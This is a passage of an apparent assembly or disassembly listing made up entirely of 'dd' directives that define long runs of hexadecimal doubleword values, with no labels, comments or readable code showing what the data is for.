3E0930E0h, 24414C3h, 1C28A77Fh, 0FD005F04h, 95CDB995h dd 356F94D0h, 0E5838130h, 0F88314CFh, 252C1C10h, 3DD41809h dd 0BF3425B4h, 0C499EC04h, 0B911430Ch, 5C7E5E40h, 3B07759Ch dd 816E1E33h, 20D997ACh, 0BB44FA90h, 7DA769Dh, 0F8753776h dd 0F310FD5Ch, 0C0C24A5h, 0BC80DBF3h, 31480D02h, 937F7DD5h dd 4B69B0A4h, 0D4953EDFh, 0B2D87E00h, 441CDAF4h, 8F387160h dd 248A8CFDh, 43003188h, 7BE21EBEh, 0A28DB880h, 9754572h dd 9E60A61Bh, 0BC4BA058h, 849601D4h, 94667635h, 1CA4F488h dd 0DACB1300h, 0A395EBACh, 3B901274h, 0F103067Ah, 11006094h dd 0DFAAB472h, 15039904h, 0B435BAE1h, 1C1DE8C3h, 0A697DFB0h dd 18E34E32h, 0C1EE6372h, 1085DB5Dh, 58C27B85h, 7AEF5080h dd 378EA207h, 0D00C171Ch, 0D5030096h, 865889EAh, 0E20F0E2Ah dd 0E3DE81E9h, 7D6C081Ch, 80375340h, 148D0F12h, 40DE5460h dd 8341D747h, 0A3249D45h, 0E5411C73h, 0A4247252h, 8440F403h dd 381B3E18h, 0CCABAD1h, 0D50B1CDFh, 45008110h, 0DA6F7693h dd 0E4890D29h, 0B47E0799h, 0D4FAE4h, 0CC01A6A0h, 0BC7640C0h dd 0A4E63E1Bh, 0D81C1890h, 8BEB6820h, 99CA558h, 82215FA6h dd 0A276A378h, 2ABF1C50h, 7DBC3910h, 2077A898h, 0DF24D2BEh dd 160084A2h, 0C6932944h, 7AC213EDh, 0B4D8424Ah, 0E343D995h dd 6084D5A4h, 0ED69C39Ch, 3CAA3203h, 14DFEB1Ch, 88909218h dd 34E81B08h, 0E3BE9700h, 1D1D40B4h, 41BFD34Fh, 66E53819h dd 0E39852BCh, 0E8B47081h, 104832BAh, 7806E07Dh, 18A3D61Ch dd 0C81CB4A2h, 28A57F12h, 0C155D40Ch, 0F53B0172h, 11CDBA1h dd 4228805Ch, 3C89DFFAh, 0A8C40C3Eh, 991847D2h, 9C0D3F2Ah dd 0A45C5F20h, 0EC4490ECh, 10F0A43Ah, 24E2B91Bh, 460F60BCh dd 2C4E460Dh, 48A57120h, 841C2C8Fh, 3EB04367h, 0F7E095FAh dd 171F2A60h, 0E5C4027Eh, 0C4CE2D59h, 331C3E12h, 0B01DC220h dd 0EE12B2BCh, 37330431h, 9C9E4500h, 88D07F24h, 8DD420C0h dd 4B40073h, 81F6400Bh, 2B00173Eh, 878F90D3h, 67CA334h dd 51A684B4h, 8C065840h, 3AC2E588h, 0BC172688h, 986C0A84h dd 916708ACh, 4550E022h, 2D00998Ch, 94975DC6h, 80AC16A6h dd 0E5181FA5h, 74303944h, 3CFC723Bh, 8580EACAh, 0F7E4387Ch dd 9582413h, 0F9BF3048h, 5B3171Bh, 9E1C80F5h, 8DC844D3h dd 71BCC007h, 7A7B9578h, 0F11C761Ch, 207820B6h, 160B3680h dd 0A87D05h, 5BAC305Dh, 4097010Bh, 35E532E3h, 3C6892B9h dd 0EE928802h, 3A3840E2h, 6C1B0474h, 0F0D4A6h, 0C45227A4h dd 0E5980CF7h, 1238CAE1h, 6A327400h, 1B1C21DFh, 7D80C03Ch dd 0FD400685h, 82A4C73Dh, 0B4AC8944h, 3CB060A5h, 137CF8h dd 88F04F23h, 0A398EB87h, 5B541B01h, 8CADAF12h, 0A1915ADCh dd 4C748DE0h, 58ECB085h, 8CC040E4h, 69DC5571h, 0AA01FFA0h dd 0BDF418C0h, 241B0C3Ch, 85900B73h, 958141DFh, 141C206Ch dd 8E02CFB0h, 48C4EBB4h, 7A0E7F0Bh, 0F5C2EA0h, 0E8A07D89h dd 0CB3CBC83h, 0A6107965h, 8712B4C2h, 81AC0890h, 2C04BE17h dd 7E00D7C7h, 20B15DADh, 1B1CD575h, 0CDC03359h, 0C5B983AEh dd 0F0404CDAh, 19104049h, 2CBC3B96h, 0E600540Ah, 86C890E3h dd 230226A6h, 16282664h, 656C38A2h, 0BAA67B0Ch, 158A10A9h dd 7CFB481Ch, 53BB2478h, 13DCA48Ch, 99E04385h, 194C048Ch dd 0A1AC4870h, 84733BB4h, 0F9419619h, 851830BEh, 0B9B82433h dd 1830C7A2h, 301C038Bh, 97185DB1h, 8E741991h, 4D21661Eh dd 0D5A0542Eh, 0CFA1C164h, 59559004h, 6084B6B0h, 0C8B2BE21h dd 1C180EC8h, 0B658DEB7h, 0A6BF243Fh, 57B039C4h, 39B475B1h dd 6C10BD42h, 8C8B04B9h, 5081A53Dh, 96004320h, 921E18BEh dd 0B500A27Fh, 3DBCBAE2h, 0F5763BDAh, 43CEFB9Dh, 46FFE072h dd 35AC7DB0h, 69C0894Ah, 0DD1B7A1Ch, 66E29F48h, 0D5398158h dd 2019E6E5h, 10C947CCh, 0D438087Dh, 0DAC0BC9Fh, 871C8F0Fh dd 0E29492B7h, 0DCA2071Ah, 8373242Ch, 110919A5h, 98368175h dd 9A18E380h, 40340404h, 802F1DA6h, 1F74610Ch, 6E1CBF0Ah dd 0CCA49085h, 0E5764405h, 5CC80584h, 19510BCDh, 0C000068Ch dd 0A0241CC9h, 808560C9h, 8F81CCB0h, 43406B5h, 0B9B189A6h dd 0C8C1602h, 48C0E01Ch, 256EB0Ch, 0BE37190Eh, 84439115h dd 436F01F4h, 0EAFA1DD9h, 33748364h, 60C18C7Eh, 0F9BB39ADh dd 0CC9E60C8h, 7599C16h, 0BA9AD800h, 361A7EAEh, 0DB0007Dh dd 0A403EAD2h, 0EC00A11Eh, 3E879DB7h, 0B2021Ah, 15E4F6ADh dd 0E57F2418h, 2CFDF20h, 6255EE0Ch, 65604F59h, 2A00A4C0h dd 5EFF1179h, 12B9B5FDh, 0ADAEDh, 616B8E5Ch, 0C20E0FA0h dd 81FA19E4h, 0DECBA243h, 0E23400E3h, 1F23F593h, 0D4604D1Ch dd 3639B1B0h, 4719165Dh, 0B38871C7h, 789424E3h, 0A619BC06h dd 4188AD9h, 0B7E50B5Ch, 45148129h, 611C2051h, 0F0387062h dd 0E01A6221h, 94378D94h, 0C9BA62C8h, 14B19804h, 0E8D019BAh dd 814D00EBh, 20748324h, 1B05E4C0h, 0BAB3A6C6h, 0E013E457h dd 0E0185417h, 540F1C39h, 5E5C052h, 8E2FF011h, 3B4C010h dd 0BD482A46h, 0C820D0C4h, 65E108D2h, 0A60EB901h, 4C20258Fh dd 3F7890BBh, 3C260746h, 0F8E46724h, 0F911F400h, 3833067Dh dd 8980E616h, 0B48DB8ADh, 0E41FF53Fh, 0E1E62A3h, 0BA0B8B45h dd 0BFA6D804h, 0C8747C97h, 34355F80h, 8A131DF4h, 5C11A584h dd 14E2CAFFh, 8C0FD0CCh, 0FD598B4h, 5007F211h, 0EB804148h dd 53BF9CA5h, 7D028C72h, 3D1E54Dh, 0B013D487h, 15DE942Ah dd 2C1888A2h, 84C17DC5h, 9840A690h, 3271E08Bh, 491C3C81h dd 3FB0506Ch, 0D5FC4ECEh, 0B020A890h, 209A49EEh, 158A8300h dd 46FA1DA2h, 45D56902h, 517AA39Ch, 60A81E60h, 96208890h dd 0C4BA509Fh, 4CF2F289h, 8AC1A4E6h, 804BF4E5h, 0EE107830h dd 5D1CEB0Fh, 90258C3Fh, 9C8DC881h, 8B583048h, 0E0884494h dd 16170721h, 64BB8313h, 2840104Dh, 1B71EC8Ch, 2AF32340h dd 8B841EAh, 20E41C73h, 237E7F00h, 272AF384h, 3C9A3541h dd 909CC030h, 0A652D0EBh, 20148824h, 37F58A8h, 0C9D68500h dd 17893894h, 454E0168h dd 16DC7580h, 9A8BFC18h, 8000DCABh, 8C9BF2ECh, 4E581C4Ah dd 0A8C040CBh, 3CDC02D2h, 0A6971005h, 6CD7A2B5h, 9D324DE0h dd 0B2FD0AD6h, 20820A3h, 0AFE7A693h, 3CAC9073h, 95374400h dd 799761Bh, 0B2E6F1BCh, 0D3CB8293h, 7100F866h, 0CFC6CC29h dd 0C5E7731Ch, 0AD8F40h, 0B3FDCF6h, 0AE193287h, 0A5F91CA6h dd 12177420h, 807BE82Eh, 0F01B96B8h, 1098EC4Dh, 0F100A073h dd 0F9826DA9h, 0E84846BEh, 503328E5h, 0D0D22F0Fh, 731E66CAh dd 0A8690030h, 0A5F7E1D3h, 342C757Dh, 0DB012C18h, 8E677FDEh dd 8323E1CFh, 4C98D848h, 24594844h, 0E82F9727h, 1C281668h dd 0FF6620C2h, 584C65Ch, 0D91C168Ah, 8D04D1E0h, 1EA9E057h dd 652CB478h, 503265DDh, 0A4A502D7h, 77C0100Ah, 4A3E9485h dd 9FF021E7h, 1B890053h, 20DA4B24h, 345F6B38h, 76D2F60Eh dd 66B7A787h, 1646BF50h, 0ABFD0192h, 2505E88Dh, 14E5C4F0h dd 395C2E48h, 6B701ACh, 0E7B402EFh, 0B0762DFCh, 89530057h dd 0F9D30D9Ch, 1B1890A6h, 8D8895B5h, 245CB87Bh, 8F0DABEh dd 3416B0F8h, 14C01613h, 0C03B86A6h, 0C185EEA0h, 0E3FEA95Bh dd 6028114Eh, 14BAF8B6h, 901F3A1Ch, 93393C7Ah, 0BDF7028Fh dd 12E58F81h, 9DB044A4h, 5180BEC0h, 10B02380h, 8925CF62h dd 99737C80h, 7614181Ah, 0D32098ABh, 34D55000h, 7333E562h dd 6B903486h, 3DE0C348h, 2409C812h, 0E2EB4C07h, 0DC66C8C0h dd 85160904h, 44DFA5h, 0CF697D00h, 45F9360Ch, 8A75007Ah dd 1262E333h, 16033EA9h, 0B061B5D5h, 4C23D8B4h, 0A6AD0C22h dd 9090BF4Bh, 1814DC3Ch, 24108E33h, 8FD8C9A5h, 1C8CA4A0h dd 0E8DFA928h, 0E8837B5Dh, 7F8344D1h, 6A943421h, 0BC448890h dd 2AA6200Ch, 0A243C015h, 0E5448294h, 44E70113h, 0A995ECE4h dd 9A895400h, 9EAFDAC2h, 60CA00F9h, 5876FAD8h, 0FF038EE8h dd 0BDA1A038h, 0DE88F8F5h, 50895CE2h, 413B851Eh, 970FBCBFh dd 203821BEh, 98022BCh, 8AB72C1Ch, 263C8000h, 0BE8F8973h dd 8492122Eh, 176881CBh, 0F8336E72h, 7E49B430h, 7D003503h dd 55EDB8A5h, 605C1CFFh, 0AE5D2888h, 572C9C8Bh, 726060FDh dd 1102984h, 0A4AEE7D6h, 9376AD1Bh, 0A096E620h, 59D70028h dd 0E16F797Eh, 309647EEh, 1CBC77E1h, 0B44CC426h, 0B28B0C04h dd 0B4A080D8h, 11CC173Dh, 4C999AE6h, 28971048h, 0BA81ED84h dd 0B0845AD2h, 40309EC0h, 493FE57Ah, 109838B2h, 0A26589F0h dd 0B0C81B10h, 0D340A8Ch, 9CF8243Bh, 61665785h, 0D0C84Ch dd 0BBF1135h, 182BDD86h, 0E83EC8A2h, 0E1087459h, 59F08BBAh dd 41E7C080h, 94A6A2E6h, 0F4B2D300h, 1F617D80h, 16D8040Eh dd 0C12AB8E5h, 32593B24h, 191C1C94h, 8C0780ABh, 0BC38AC1Bh dd 0D021F865h, 0E2B47D44h, 4C7840A2h, 74A63800h, 1C0DFFEAh dd 6C9449A7h, 0FB55F850h, 40F49460h, 23269C10h, 99E90CBh dd 0BE931EE0h, 0F53C0CE2h, 0FF4C7D10h, 152600E8h, 1693C57Ah dd 347448A4h, 9BA68982h, 838B74C8h, 0E0C52C3Fh, 3AD4D508h dd 29A60B7Eh, 3F00EDDCh, 0F4BEF763h, 1998973Eh, 90881AD1h dd 0EC2C9DF9h, 1BB0A502h, 54664C73h, 588EA244h, 8200C887h dd 62C7583Ch, 0AC30172Ah, 0CA608F1h, 7488C04Ah, 0FC33C864h dd 8DEC7B07h, 0B1131CA4h, 0CB1D90FBh, 0D62412ADh, 0DE38063Bh dd 0A600E9F2h, 0E1AFD734h, 1FA324A4h, 791FC0Fh, 0A9E558AEh dd 0E3190C02h, 0A22A6D03h, 0A887C087h, 13C92E94h, 4EC30890h dd 0BF3DB603h, 54C99DA6h, 0E38B7464h, 271CABEFh, 809073F8h dd 3580DB4Ah, 506E00CAh, 39047EB8h, 253E9E3Dh, 9F74BF88h dd 2004D581h, 4481B93Ah, 24E477A3h, 0F5391FB4h, 0E6970983h dd 27B8FC8Ch, 0A8A1D37Dh, 0BBA064D4h, 0C428194Ah, 0D0772685h dd 4126FC8h, 828D3619h, 0F30216C8h, 0EC13E1F0h, 1FBB2896h dd 0F40DCC00h, 7D00F610h, 28A54ADh, 0FE23A4DAh, 0F8660B58h dd 70E19AE5h, 0FE7FF013h, 0F21EFD71h, 178094EBh, 7425A13Dh dd 0A4BC00E4h, 0D4CDCE27h, 0A23C7D2Dh, 9ED3B9FFh, 7A1C2824h dd 0D48F1130h, 480495E6h, 0C42CB291h, 8C106F2Fh, 901EF87Dh dd 0B9B22744h, 978474A2h, 53D07D07h, 76FBC58Bh, 0FE24BA54h dd 0B474938Ah, 0CB88D28h, 952CE5ECh, 0E05AB033h, 26770428h dd 2749EDAh, 82C89251h, 0B07DECA7h, 0CCDFA372h, 0D8031628h dd 32B7B000h, 958F738Eh, 402F48EEh, 0F884790Fh, 17F40F20h dd 0A3248CEBh, 0C70A0127h, 1030A4E7h, 0EC051EAAh, 611BFEFDh dd 1534B928h, 54042A48h, 4E124273h, 9768669Ch, 0D5514600h dd 321B9945h, 8A38BF5Ah, 9344E4E4h, 3C192C92h, 17614284h dd 884E284Ah, 0ACA8BDFAh, 4066DE66h, 2A805961h, 3E388311h dd 10529166h, 25436110h, 7864AD0Bh, 0A85DBFF0h, 3E737F5Ch dd 793D8123h, 692CF4CDh, 144E23Ch, 0E51AB844h, 681846CCh dd 0AC7DB0h, 356BD499h, 0CEEA8A72h, 83018438h, 793286BBh dd 2021D155h, 0C8821486h, 34EE0A05h, 32253D1Bh, 5D0D0106h dd 1AEAC10Ah, 0AD228170h, 0ED82D931h, 158A1A40h, 54520125h dd 0DE89A8B4h, 5AEFCC5Ch, 604CEA3Ch, 7AF6BE24h, 27F1F38h dd 77190CE9h, 2E3B5918h, 1C049E64h, 1698D0CCh, 678B00B9h dd 0A2366BBDh, 2C078955h, 0DD2B620Eh, 0C2D9F8C0h, 410800E1h dd 0D1BEB82Eh, 0C60E2296h, 7EE8459h, 6C74824Eh, 2E4DCC0h dd 2D8C16ECh, 8707FF25h, 192E91EAh, 60EC3502h, 814CF982h dd 199C830Dh, 0C8E38C06h, 0C0FC6CEAh, 54DEF834h, 5C409569h dd 0C094A38Ah, 3FDD0623h, 121B6003h, 62031D7Ah, 440DD2BFh dd 5FF4C02Fh, 60FC0032h, 1D8CDE0Ah, 0E8F85825h, 684C4ACh dd 8B04EA10h, 5D2E8833h, 81BBEEF8h, 227E2E0Fh, 0EA5E6170h dd 0A080DB58h, 0CA232469h, 547C6008h, 55421130h, 6FFFEF6h dd 8A57EC70h, 5E7D8FEFh, 97E8AAF2h, 0D4026800h, 0C9FC058h dd 6387E60h, 7723F9F0h, 4069622h, 252AE76h, 0AEE3FFC4h dd 0A85C54A9h, 0D5EA105Bh, 6967183Ah, 0FA058108h, 22296E41h dd 5D51C7F4h, 0E78C0EB0h, 0BF89EAh, 0C4824446h, 873A18D0h dd 0B0EC0E3Eh, 640C7773h, 885CE02Ah, 4E553FF2h, 905EEA8Dh dd 0AE40EA38h, 0AB727E3Bh, 930E326Ch, 0F37ED18Ch, 6555685h dd 109DFE9Ah, 8CD80212h, 8A516401h, 154406E1h, 4688054Ch dd 4E69105Dh, 0C88A336Bh, 59CDC853h, 5B361E7Fh, 0FBB1D54h dd 0EA4ED507h, 89CBE32Ah, 0A3057B2h, 0F90058EEh, 5FF30216h dd 0A8180B69h, 802F61F8h, 0ECE4DE31h, 0A4D6F73Dh, 5A8003A7h dd 0DFEF815Ch, 66BA9067h, 1C32640Ch, 98EDD13Bh, 8C74DA8Eh dd 3C7CA60Dh, 0D4F74D02h, 57E03C1Ah, 75405CEAh, 8A0BA8BCh dd 29F8E4DFh, 8329358Ch, 5E60695Ch, 6717BB10h, 307B1142h dd 0C61728BAh, 79046236h, 7EEC20Eh, 38EAA680h, 0C821C01Ch dd 46753710h, 9BD82A3Eh, 0B91A1423h, 0C8E05FF2h, 3210D46Dh dd 36290D1Ah, 71F6464Ch, 0F6FCF86Ah, 168D0EA1h, 0E9480A30h dd 52D940BFh, 8A288465h, 4EB1F100h, 3D0174B6h, 1CCC8CC6h dd 8F02D8DDh, 0C9EC60F9h, 0E2695726h, 41D6131h, 1C8D6702h dd 819A0457h, 81E953B9h, 48F5F70h, 9FCB8B24h, 0F7F468A2h dd 43B72443h, 0A06D9F6h, 7E1C07Ah, 28F7000Ch, 1C8B59C8h dd 0C43D8324h, 0E3E0BC04h, 0D8148950h, 0E7B951h, 813D4B44h dd 0AC2AC1C9h, 0E1D1330Eh, 29031868h, 5924060Ch, 3F4F3FE9h dd 2D075DECh, 628F1D35h dd 0CF8DCD3h, 4C18190h, 0CCD8339h, 40423E87h, 890D86ECh dd 0F8B03ECCh, 5166BE81h, 9D8D3BE9h, 7D8C5A1Ch, 0F8580C73h dd 886341D5h, 8A02C642h, 18843487h, 30AC93CBh, 8668D80Dh dd 76BC635Ch, 1055BE18h, 816E05E9h, 98F3600Ah, 32660343h dd 9944DF01h, 0D0215B00h, 568DA08Bh, 725E6854h, 0E90CB067h dd 10C080AEh, 0E250C0B8h, 16351618h, 1C50012h, 9C3AE9C7h dd 4AF22D0h, 59342A6Eh, 0A10436C4h, 50E65C6h, 0B4DA2301h dd 8058E929h, 445A0C6Ah, 80EC8326h, 60823934h, 5181E567h dd 6EF846C5h, 0BE0ACA3Ah, 0F201040Ah, 4125C45Eh, 875BDA09h dd 1C2214h, 515D5455h, 0AA441C68h, 0BEA40094h, 841EA7h dd 0C7EE8139h, 5230ADAEh, 0E915F2FEh, 39D7206h, 0F34EC5C3h dd 930DD913h, 0AC5CC54Ch, 565005FDh, 3384F6E9h, 69D8B8F7h dd 21FA1248h, 531A1D67h, 8358E3E6h, 84EBB21Dh, 5D818706h dd 0B9539BE9h, 71C44289h, 7EB0307Eh, 59CE280Ah, 15EB801Eh dd 5EB39AD8h, 0BD9ED0FFh, 0FCF5C51Dh, 324683Ch, 83A66F82h dd 10CF7123h, 531A3E5Ch, 0F8B79012h, 0FF4FA118h, 0D91EE643h dd 17805592h, 6817DFC2h, 3E65E2Eh, 0C0421148h, 925B4DB9h dd 0D6494840h, 0EF1D2030h, 0DF3AF75Dh, 0C5D4E0D1h, 486B3F23h dd 4E00514Bh, 0E933916Ch, 32C00E0Fh, 6AF5BE56h, 89320058h dd 0F7405EF0h, 90C05D8h, 0E1F1670h, 6E804C1h, 9267B5E9h dd 0A702C25Bh, 0B0500033h, 78033499h, 1D0CD0F6h, 43204C0h dd 81C28805h, 27F7AB9h, 0F4B744BAh, 0A616051h, 8106EFC1h dd 71DDE707h, 95E344FBh, 0E1D53B3Dh, 453FFE92h, 115AD33Fh dd 5CC1E8EEh, 0D674FF55h, 0E42C52E1h, 0E9A6C481h, 3E159020h dd 0ED8E6659h, 29A6165Ah, 0C54110F5h, 455EEB12h, 0C839820h dd 0E75556E9h, 8819F9F7h, 1E80065Bh, 4A52C157h, 805F26B1h dd 814703D2h, 62C0DF7h, 1DE92906h, 3C48D597h, 57FD1001h dd 25048B13h, 0E2900AA7h, 283F20FFh, 306BD55h, 0E95DEA29h dd 106D86B3h, 96BDEEBEh, 0AF066FAh, 334DCA31h, 94841067h dd 0CCF8812h, 68BDFB5Ah, 486BC729h, 837E40Ah, 22D5BF82h dd 44FD8380h, 545A7DF9h, 0AC5A94D6h, 0C15677B1h, 0A0163BC4h dd 2D694850h, 8340BA9h, 20473589h, 3610064Dh, 0BE857C90h dd 7DA4A43Eh, 8E5C185h, 3B57DF01h, 0DD406C27h, 0D7425Bh dd 5DEE01FDh, 5AECE955h, 804730C9h, 64ECC96h, 0FE09601Bh dd 1C4CC781h, 0D215DE28h, 0B0470728h, 6B4FE80Ch, 0C2026427h dd 0E745F958h, 0E01D2C60h, 0C70B43B2h, 7AC385Bh, 548EEFFEh dd 935D3C08h, 0F61A5FFAh, 0BAF942D5h, 0A1B94543h, 0E4871406h dd 4B65C24h, 0D4C8310Ch, 87494D9h, 661E70CEh, 39886166h dd 0D414203Fh, 1C41540h, 3858BE8h, 91E95753h, 0FFD24DEEh dd 5C068337h, 108A810Fh, 918A50BFh, 0E7A7B90Ah, 75089881h dd 7AE9C4Bh, 0F7C7E0DCh, 3580D1D0h, 0FF7A4048h, 2C3BB3D4h dd 2662113Fh, 2DD03948h, 3150CD33h, 9409DA06h, 0E8999AE7h dd 0E9158CE6h, 7D9F3B99h, 286E5F3Fh, 0C131FC3Fh, 5E03B4Ah dd 9B2D1842h, 0E902D4B1h, 0A74946CFh, 5A08E454h, 0F6C66CEAh dd 0A084481h, 7BF83184h, 38E986A1h, 0F57E753Eh, 0C821043Dh dd 69216A39h, 87FAF8B9h, 33F24482h, 0D99550D3h, 0C7B81CD2h dd 0C5B8C821h, 2421604Dh, 0FB83E753h, 0F11C8403h, 798138A2h dd 586129E2h, 663B701Bh, 0C1FF9A83h, 92EB9C07h, 0C1EA81D3h dd 17E108EBh, 16BD1134h, 904B084h, 60A9B32Eh, 0A0A83987h dd 0D8292F0Eh, 56595B02h, 0C676D668h, 0A557932h, 37447D7Ch dd 0D4084B74h, 93CE6708h, 3C5C076Bh, 0B9D3CE29h, 89114D9Fh dd 88BF70D7h, 48015880h, 70040BCFh, 834ABD48h, 0E7E08BD9h dd 17E8E964h, 2842E9D2h, 0E6556068h, 0F1CEA131h, 2359B900h dd 81357100h, 226E39C9h, 7652483Bh, 727D9273h, 17B30F50h dd 0F6E3C380h, 73AFFED3h, 142CEEF3h, 2A03F51Ah, 28DE9DE9h dd 0A8AC5356h, 5DC06816h, 45816F63h, 881F7E10h, 0B844466h dd 2412F021h, 9483F532h, 68A0310Bh, 65927472h, 287E2Ch dd 2214056Fh, 0CEEFF741h, 0AF41E1A9h, 5AF85FFBh, 90C2E105h dd 0C8C8302Bh, 2901727Ch, 0C5015FFDh, 2CEB2C30h, 173B5D57h dd 0A3F955D8h, 136C5EC4h, 20859B36h, 80002E1Eh, 0D028C6C2h dd 3F68665Ah, 0A9954087h, 0E46BE4E2h, 5EF71498h, 8710F093h dd 4BF15C26h, 6A6C40A3h, 63F68E57h, 9D14F724h, 811298h dd 0BADED8F6h, 5EF301A2h, 0E9C23106h, 0B86D226h, 0C51EC62Dh dd 74915102h, 1454F552h, 539033FAh, 10E23149h, 0B8263881h dd 0FBED60C0h, 3252DE78h, 3008419Ch, 29CC074Ah, 4C99565Eh dd 26A4DB2Fh, 0E9190D31h, 889EE1C6h, 3BEB7420h, 0DE3C5259h dd 5A87340Ah, 0EA5B9489h, 54766020h, 296F2B63h, 484429F0h dd 710F62DAh, 673CBE00h, 81490A08h, 63AEEh, 70025DC3h dd 1230E94Eh, 0B1F74358h, 0F6CBF67Bh, 9CD76583h, 967B805Eh dd 1717DE01h, 95BCD5F7h, 0BA0C2306h, 9F0CE40Eh, 0C107E48h dd 0BF61F11Ch, 0B0637A21h, 0A72F884h, 311BE233h, 850C4806h dd 8A66E3C4h, 0C6011260h, 8A5F3C21h, 5A545200h, 372E80BBh dd 0C8AC2D23h, 62A42424h, 24498326h, 0C890F70Ch, 4866F82Ch dd 5500F05Ah, 0FE83B252h, 0EA0DC0CAh, 0EDAF607h, 2897B8FFh dd 135A73D3h, 8037E9C3h, 8EDC13Dh, 31200498h, 97BF6945h dd 0EB69E88Fh, 29B648A0h, 0BAF2D6F6h, 1618434Dh, 653436B4h dd 491031A6h, 5C48316Dh, 1B92730Fh, 933C04C3h, 295F050Bh dd 160E9C85h, 1F527027h, 0A0BE464Bh, 9291AAD0h, 7D2B9631h dd 7E2C100h, 8360DAF0h, 0D96BA1BDh, 7C29186Fh, 254C4024h dd 0FF414B2h, 0F82F4128h, 9CDC360Fh, 0E9EB42BFh, 5EB36802h dd 7BE0556h, 8075FE45h, 2A630AC0h, 0E9463E04h, 7516827Ch dd 0E2848421h, 7E631215h, 0F6006A9Dh, 1E4D1644h, 39EA0146h dd 364B0851h, 2968570Eh, 5F3C0242h, 8F2D6F41h, 53D1E90Fh dd 67E96099h, 9C171635h, 0C8E34382h, 12C2C382h, 227499h dd 0BE7982A3h, 0DE482959h, 5B0840BBh, 0E91A3D98h, 4ED03062h dd 26F19350h, 0C00900E5h, 4046840Fh, 0E9427399h, 6CE2A9E5h dd 0E7D951A8h, 246B79FEh, 0FB2E0D08h, 66A051A8h, 0A734A60Fh dd 12CFA68Bh, 19F002F6h, 9D8A7148h, 82160FA7h, 0C2C29A4h dd 2B5BD85Dh, 80A80C8Bh, 0E902C683h, 91C74455h, 698081D1h dd 0C236312Bh, 2C2DCE0Ch, 0A3E194E3h, 0C528AB91h, 20F5C0Bh dd 45E8F45h, 3C638154h, 52210239h, 40469845h, 0BF025720h dd 44F20D87h, 5F464931h, 0A3F62160h, 5056C20Ch, 0D150908Bh dd 0E913BF0Bh, 5BB24135h, 9805ECC0h, 5A12DF5Ah, 4BB03C50h dd 6C8960FBh, 546FD42Dh, 0E87B01E4h, 4B5D07A1h, 0C3311687h dd 0B4E7700h, 921E30E9h, 49E2869Ch, 0A7AB854h, 19160F9Ah dd 90111E7h, 443259E9h, 5F540698h, 15210D68h, 0BB011C7Ah dd 2FA37C70h, 0F35425E9h, 401CA79Ch, 8DA40146h, 0BAC41196h dd 93D01F8Ch, 0E89239B1h, 321DCD02h, 0CD582EF0h, 2CC1E98Bh dd 9455333Bh, 5C80BA3Bh, 0E95D291Ch, 0D4A449F1h, 8C3D8D98h dd 971A7B2h, 0E75A0276h, 0A020093Fh, 0D4280CF2h, 6CF31190h dd 0DE125C23h, 302BBDCCh, 581E24Bh, 0C16DEAE3h, 1CE78228h dd 58AB9968h, 0BA09EFBBh, 0B300465Ch, 2029AA1Ah, 0FF021FF2h dd 8E683877h, 5022A508h dd 742B9700h, 9B80520h, 0A333575h, 0CD5AC604h, 0C5841A8h dd 0C480007Bh, 7BECE615h, 0DB96321Ch, 2BC15CCEh, 0F55D8B57h dd 5DAE845Eh, 73C9DA84h, 9050F524h, 0CDD420D2h, 605BAC53h dd 8AB6522Eh, 4DF15888h, 0FEA7E907h, 58505EC9h, 5366053Ch dd 45822AB7h, 2E82933Eh, 42A5573Ch, 83E8EDCAh, 150C6E6Bh dd 1AE0C156h, 6FEEBA59h, 862D935Ch, 0F73CA8EFh, 1404475Dh dd 0E4E6855h, 69EB015Dh, 2B30C033h, 9A98B603h, 0C84541D3h dd 254279A4h, 1CC4902Dh, 0E9560B51h, 0B490677Fh, 0A9083FDEh dd 20DD0160h, 588B9408h, 0C74DE9E8h, 0F75B09DBh, 0C2E709DEh dd 88B5B41h, 2D00352Ch, 29D66688h, 21680956h, 0D6A8D717h dd 0D6F7612Eh, 4A3F6051h, 323E0707h, 5C14E989h, 445EE192h dd 0E6453058h, 92B45070h, 0BD421DB8h, 78802067h, 59C88807h dd 0EA4C537h, 586DE0A1h, 0D8A6219Fh, 5207F510h, 25E78853h dd 0EDEA9DFAh, 0E9EA24D7h, 9713114Ah, 68C21D8Ah, 0A04C346Eh dd 39F37D55h, 4B08040Eh, 8A843DC4h, 5DE971B4h, 68097679h dd 0F6CC78FDh, 0E9063693h, 0D32AF2ADh, 954D2773h, 0CCA10930h dd 0BC1FFB2Ah, 600842A4h, 0D359669Dh, 348F1CD4h, 6FA02F45h dd 0C7B043h, 0B0B5A82Fh, 515BD801h, 0D373B94Ch, 0DF662F0Dh dd 263CE890h, 16A16A54h, 1F5ECA28h, 9982DF27h, 62F54639h dd 0E189338Bh, 612D4B2h, 0DFBED718h, 5505980h, 0EA774BB8h dd 0C010C0D3h, 483BB607h, 17BA5C29h, 0F737129Eh, 0EDA3E237h dd 0BB3E00E4h, 0BF54B55h, 9EBEDF01h, 8125C2h, 0B73DB3B8h dd 58525661h, 68A0FE01h, 0D55F590Bh, 31EB0A4Fh, 4BF892F1h dd 0CD8B5D39h, 0CE16AEC4h, 0A812F187h, 95262A02h, 787B4057h dd 3D4A5860h, 82B6A226h, 0CB102ABFh, 3FCF83E0h, 1F765CE8h dd 6B88EF06h, 9381CDDh, 0DBAC85E4h, 62F61705h, 4CD0B3F4h dd 84935759h, 0F707EA25h, 0E38273DAh, 53E50F50h, 0FE898EBAh dd 0F832205Dh, 602679F4h, 12243531h, 3DE95B02h, 2D1344DBh dd 0A8383C8Bh, 3B4FC5E9h, 827FEE61h, 1EE3BA00h, 90DC709h dd 7E6784D5h, 0E51126F6h, 54F7401Eh, 115A594Ch, 0EB03366Ah dd 3FD82EB1h, 57D20C04h, 92C14D02h, 3668AAE9h, 7A406814h dd 3BF81910h, 3AE0245Fh, 12E63AADh, 120DF006h, 89FCCFE9h dd 0A5354751h, 52D0E003h, 69B2E4ECh, 0B3D1F728h, 2A05FB0Ah dd 0FD00D869h, 0E9331F49h, 250A944Ch, 64519B0h, 0E3B17E91h dd 0AB52DA0Eh, 0D3AD54E1h, 4908E9E0h, 9E077C90h, 3142BD2Ch dd 0AC584BBCh, 0EF2D01C5h, 29475367h, 41821C8h, 0FBE20808h dd 25F090Bh, 4EDF4A8h, 0D2208431h, 64D15C36h, 0C9CA380Ch dd 4790AC3h, 3C00B2Eh, 93A9155Dh, 348DCBE0h, 18028E35h dd 0A052BD88h, 75DB8Eh, 77BA5A7Dh, 29813CF5h, 0B75FFA39h dd 83E4BBD3h, 6B60B210h, 7EC7814Fh, 1EDCC312h, 0E3C14B42h dd 0A956E307h, 8E8305EBh, 1C677EB1h, 82D2F3B0h, 89132D09h dd 0FD7004DDh, 